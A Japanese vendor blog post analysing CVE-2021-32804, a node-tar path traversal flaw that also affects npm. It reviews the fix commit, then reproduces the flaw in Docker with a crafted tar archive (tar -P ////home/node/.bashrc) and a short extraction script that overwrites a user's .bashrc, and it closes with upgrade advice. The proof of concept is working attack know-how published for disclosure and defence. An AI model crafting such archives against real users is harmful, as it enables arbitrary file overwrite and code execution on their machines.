yamory Blog

npmにも影響があるnode-tarのパストラバーサルの脆弱性 CVE-2021-32804

node-tarで発見された任意のファイルの書き込み・上書きの脆弱性(CVE-2021-32804)について調査を行いました。
node-tar 3.2.2, 4.4.14, 5.0.6, 6.1.1以前のバージョンを利用している場合、この脆弱性の影響を受けることがあります。
加えて、node-tarを間接的に利用している場合にも影響を受けることがあります。具体的には、npmもtarファイルを扱う処理にnode-tarを使っているため、脆弱なバージョンのnpmを使って、信頼できないtarファイルを処理することで影響を受ける場合があります。

今回は、CVE-2021-32804の修正コミットを確認してどのような脆弱性だったのか確認し、実際に脆弱性が再現できるのかDockerで環境を用意して検証を行いました。
また、npmにも影響があるかの検証も行い、こちらもDockerの環境にて確認を行いました。
検証時に作成したDockerの環境もGitHubで公開してありますので興味がある方は再現してみてください。

脆弱性概要

CVE-2021-32804は、node-tar 3.2.2, 4.4.14, 5.0.6, 6.1.1以前のバージョンで任意のファイルの書き込み・上書きの影響を受ける恐れがある脆弱性です。
preservePathsオプションをtrueに設定していないデフォルト設定の場合、tarのアーカイブファイルに含まれる絶対パスで指定されたファイルから絶対パスのルート部分を取り除いてから展開するようになっています。

具体的には、/home/user/.bashrcという絶対パスが指定されていた場合には、先頭の/を取り除き、home/user/.bashrcに変えてから展開するようになっています。
これは、もし/home/user/tmpディレクトリで展開を行った場合、先頭の/を取り除かないで展開をしてしまうとtmpディレクトリ内で展開されず、上の階層の/home/user/.bashrcに書き込み・上書きされてしまう恐れがあるため、絶対パスのルート部分を取り除くようになっています。

これは、本来アクセスできないと想定しているパスへのアクセスのため、パストラバーサルという脆弱性に分類されています。

Linuxのtarコマンドでも通常の展開時には先頭の/を取り除き、-Pオプションをつけた場合にのみ絶対パスでの展開を行うようになっています。

今回の脆弱性では、先頭の/を取り除く処理が不完全だったため、例えば////home/user/.bashrcというような先頭に複数の/を加えた形のパスを含むtarファイルを展開させた場合にはすべての/を取り除かれないため、///home/user/.bashrcとして扱われ、絶対パスの形のまま展開されてしまいます。

修正コミットの確認

今回の脆弱性はこのコミットで修正が行われていますので内容を確認して見ます。

修正前のコードを見てみると、if (path.win32.isAbsolute(p))で絶対パスを含む場合に、path.win32.parse(p)で先頭の/の部分を特定を行っています。
執筆時点で最新(16.8.0)のNode.jsのPathモジュールでは、////home/user/.bashrcのような先頭に複数の/を含むパスの場合でも/をrootとして認識するようになっているようです。そのため、Pathモジュールでrootとして認識した部分を除去するだけでは全ての/を取り除くことができません。

修正後のコードでは、新たにstrip-absolute-path.jsが作成され、その中ではwhile (isAbsolute(path))によって繰り返し/がないか確認し、先頭に複数の/が含まれる場合でも正しく取り除くことができるように変更されています。

脆弱性の再現

脆弱性の概要がわかったので実際の脆弱性の再現を行ってみます。
こちらのGitHubのレポジトリで事前に必要なファイルやDockerの環境が用意されたものもありますのでご利用ください。

tgzアーカイブの作成

Linuxのtarコマンドを使ってtgzファイルを作成します。

今回は/home/node/.bashrcのファイルを絶対パスを含む形で圧縮したいと思います。
/home/node/.bashrcファイルを作成し、例えばecho Hello, world!と書き込み、保存します。

tarコマンドで圧縮しますが、今回の脆弱性を再現させるために以下のように先頭に複数の/を追加し、-Pオプションを追加してtgzファイルを作成します。

tar czvf bashrc.tgz -P ////home/node/.bashrc

node-tarによる展開プログラム

node-tarでtgzファイルを展開するプログラムを作成します。
GitHubのレポジトリでは/pocにプログラムが入っています。

まず、脆弱なバージョンのnode-tarをインストールします。

npm init
npm i tar@6.1.0

以下のようなtgzファイルを展開するプログラム(tar.js)を作成します。

const tar = require('tar')

tar.x({
  file: 'bashrc.tgz'
})

node-tarの実行

まず脆弱性を再現する前と後で挙動が変わっているか確認するために事前にnodeユーザーに切り替えてみましょう。
(これ以降はGitHubで提供しているDockerの環境で実行していることを想定したコードの例になっています。)

root@5e1af2148215:/poc# su node
node@5e1af2148215:/poc$

何も表示されずにnodeユーザーに切り替わりました。

rootユーザーに戻り、node-tarを実行し、再度nodeユーザーに切り替えてみます。

root@5e1af2148215:/poc# node tar.js
root@5e1af2148215:/poc# su node
Hello, world!
node@5e1af2148215:/poc$

nodeユーザーに切り替えたタイミングでHello, world!が表示されるようになりました。
/home/node/.bashrcが存在するか確認してみると、以下のように.bashrcが上書きされていることが確認できます。

node@5e1af2148215:/poc$ cat /home/node/.bashrc
echo Hello, world!

このように、脆弱性を再現でき、ユーザーを切り替えたタイミングでechoコマンドを実行させることができました。

脆弱性による影響

今回の脆弱性の再現では、単純にecho Hello, world!を実行させる、というものでした。
しかし、.bashrcに悪意のあるコマンドが書かれてしまった場合にはどうでしょうか。
rmコマンドでファイルが削除されるかもしれませんし、curlコマンドで外部から何かファイルをダウンロードして実行されるかもしれません。

/home/node/.bashrcというパスでファイルを作成し、tarで展開させたように決められたパスに展開するため、事前にユーザーがわかっていないと特定のユーザーの.bashrcを上書きすることはできません。
しかし、大量のユーザー名を含むtgzファイルを作成することもできますし、rootユーザーを狙ったものを作成するかもしれません。
またそもそも.bashrcファイルではなく、違ったファイルを上書きすることも考えられます。

node-tarを実行する権限でアクセスできる任意のファイルへの書き込み・上書きができるため、node-tarで信頼できないアーカイブファイルを扱う場合には注意が必要です。

npmなどのnode-tar以外でも影響を受ける可能性

この脆弱性はnode-tarの脆弱性ですが、node-tarは他のオープンソースソフトウェアでも広く利用されています。

npmレジストリでnode-tarのdependents(node-tarを利用しているモジュール一覧)を見てみると執筆時点では2,447モジュールあります。
その中には、npmも含まれています。

このようにnode-tar自体を直接利用していないが、npmのようなソフトウェアがnode-tarを利用しているため、間接的にnode-tarの脆弱性の影響を受ける場合もあります。
もちろん、node-tarを間接的に利用しているケースでも、今回の脆弱性の影響を受ける場合と受けない場合があるのでdependetsにあるすべてのモジュールに影響があるわけではありません。node-tarのバージョンやどのような形で利用しているかによって影響が変わります。

npmへの影響

npmでもnode-tarが利用されていることがわかったのでnpmで影響があるのか検証をしてみます。
まず、これまでのリリースの内容を見てみると7.20.2でtarのバージョンアップが行われ、fix: strip absolute paths more comprehensivelyと今回の脆弱性の修正への対応が取られているように思われます。

同時期に公開された、6.14.14でもtarが4.4.15にバージョンアップされていることが確認できます。

先ほどと同様のtgzファイルをnpmで処理させ、意図した動作になっているかどうか確認をしてみます。

npmでは、npm installの引数としてtgzファイルを渡すことができるのでnode-tarの検証で作成したものを利用してみます。
先ほどのnode-tarの検証を行っている場合は、事前に/home/node/.bashrcファイルを削除しておきましょう。

root@5e1af2148215:/poc# rm /home/node/.bashrc
root@5e1af2148215:/poc# npm i bashrc.tgz
npm WARN tar TAR_ENTRY_INFO stripping / from absolute path
npm ERR! code ENOENT
npm ERR! syscall open
npm ERR! path /root/.npm/_cacache/tmp/422b50a8/package.json
npm ERR! errno -2
npm ERR! enoent ENOENT: no such file or directory, open '/root/.npm/_cacache/tmp/422b50a8/package.json'
npm ERR! enoent This is related to npm not being able to find a file.
npm ERR! enoent

npm ERR! A complete log of this run can be found in:
npm ERR!     /root/.npm/_logs/2021-08-26T05_56_28_360Z-debug.log

npm installを実行するとエラーが発生し、詳細情報が書かれたログも出力されます。
まずは、脆弱性が再現できたのか確認するために、nodeユーザーに切り替えてみましょう。

root@5e1af2148215:/poc# su node
Hello, world!

node-tarの時と同様に、Hello, world!が表示され、脆弱性の再現ができたようです。
npmに関しても脆弱なバージョンのnode-tarを利用している場合に同様の影響を受ける可能性がありそうです。

npm install時に生成されたdebug.logを見てみるとtarが実行され、先頭のすべての/が取り除かれずに処理されていると思われるログを確認することもできます。

このように、npmに関しても脆弱なバージョンのnode-tarが利用されている場合に信頼できないアーカイブファイルを扱うと影響を受ける可能性があります。

今回はnpm 7系の7.19.1で検証を行いました。
npm 6系の6.14.14以前のバージョンでも影響を受ける可能性はありますが、今回の検証方法では再現できませんでした。しかし、今回とは異なる方法によって影響を受ける可能性がありますので注意が必要です。

Node.js 16.7.0に含まれる npm 7.20.3には影響がある

先ほど、npm 7.20.2で修正がされた、と書きましたが、Node.js 16.7.0に含まれるnpm 7.20.3には影響があります。

どういうことかと言うと、Node.js 16.7.0に含まれるnpm 7.20.3にはnode-tar 6.1.0が利用されているため、今回の脆弱性の影響を受けます。
npm自体のレポジトリ上ではnode-tarのアップデートがされていますが、Node.jsに組み込まれているnpmではnode-tarのアップデートがされていなかったため、表示されるnpmのバージョンが7.20.3でも影響があります。
実際にNode.js 16.7.0に含まれるnpmのpackage.jsonファイルでバージョンを確認すると確かに6.1.0が使われていることがわかります。

今回提供しているDockerの環境もnode:16.7.0-busterをベーシイメージに利用しているため、Node.js 16.7.0が導入されています。

以下のようにバージョンの確認ができます。

root@5e1af2148215:/poc# node -v
v16.7.0
root@5e1af2148215:/poc# npm -v
7.20.3

この環境下でnpm installで悪意のあるtgzファイルを読み込むと先ほどの「npmへの影響」の部分で説明したようになります。

npm自体の7.20.3では修正されているため、以下のようにnpm i -g npm@7.20.3を実施することで修正されたnpmをインストールすることができます。

root@5e1af2148215:/poc# rm /home/node/.bashrc
root@5e1af2148215:/poc# npm i -g npm@7.20.3
root@5e1af2148215:/poc# npm -v
7.20.3
root@5e1af2148215:/poc# npm i bashrc.tgz
root@5e1af2148215:/poc# su node
node@5e1af2148215:/poc$

このように、同じnpm 7.20.3ですが、再度インストールすることで脆弱性の影響を受けなくなりました。

Node.js 16.8.0にてnode-tarが6.1.10へアップデートされ、脆弱性の影響を受けなくなっていることがpackage.jsonファイルからも確認できます。

そのため、Node.js 16.7.0以前のバージョンを利用の方はnpmを新たにインストールするか、16.8.0へアップデートすることで解決することができます。

以下のようにn 16.8.0でNode.jsを16.8.0にアップデートし、再現を試みましたが再現できないことが確認できました。

root@5e1af2148215:/poc# rm /home/node/.bashrc
root@5e1af2148215:/poc# n 16.8.0
root@5e1af2148215:/poc# node -v
v16.8.0
root@5e1af2148215:/poc# npm -v
7.21.0
root@5e1af2148215:/poc# npm i bashrc.tgz
root@5e1af2148215:/poc# su node
node@5e1af2148215:/poc$

さいごに

今回はCVE-2021-32804 node-tarの脆弱性の概要とその再現方法、またnode-tarを利用しているソフトウェアのnpmでの再現方法を解説しました。
脆弱性の再現で行った内容と同様の.bashrcを上書きし、nodeユーザーに切り替えたタイミングでHello, world!が表示させることができるDockerの環境を用意しました。
任意のファイルの書き込み・上書きの脆弱性のため、実際に悪用された場合に環境によっては深刻な問題にも繋がる恐れがあります。

こちらのGitHubのレポジトリで簡単に環境構築できますので、興味がある方は実際に動かし、どのような影響が起こりうるか自分なりに考えて試してみると良いと思います。

この脆弱性はnode-tarの脆弱性ですが、node-tarを利用しているソフトウェアにも影響がある可能性もあります。
node-tar自体を利用していない場合でもnpmのようなnode-tarを利用して開発されているソフトウェアを利用しているケースも多くあると思います。

近年、開発からサービスを提供するまでのソフトウェアサプライチェーン内のセキュリティ、サプライチェーンセキュリティが注目されています。
その中には、開発に利用しているソフトウェアの脆弱性への対応も含まれています。
今回の事例のようにソフトウェアの依存関係の中に含まれるセキュリティリスクも対策する必要がありますが、手動で把握・管理することは難しいと思われます。

yamoryでは、利用しているアプリケーションライブラリの依存関係を含むソフトウェアの一覧を取得し、その中に含まれる脆弱性の把握・管理を行うことができるサービスです。
アプリケーションライブラリの脆弱性だけでなく、GPL、MITライセンスなどのライセンス情報の把握も行うことができます。
また、これまではアプリケーションライブラリのみに対応していましたが、サーバのミドルウェア・OSのソフトウェア・脆弱性管理も行うことができるようになりました。

無料でトライアルもできますので、ぜひ一度お試しください。

yamoryではエンジニア・セキュリティエンジニアを募集しております。こちらより応募お待ちしております。

また、9月2日(木)16時より第1回「Visional Security Lounge」を開催致します。
第1回目のテーマは「freee、エムスリー、Visionalが語る!〜クラウドサービス事業者の最新アプリケーション・セキュリティ動向〜」となっております。
締め切りは9月1日(水)正午となっておりますので、ご興味のある方はぜひこちらよりご参加ください。

オープンソース脆弱性管理ツール yamory

  • 利用中のOSSを抽出し
    脆弱性を自動スキャン
  • 脆弱性への対応優先度を自動で分類
  • 組織規模に合わせたプランを選択可能
お問い合わせ

お気軽にお問い合わせください。
担当者よりご連絡いたします。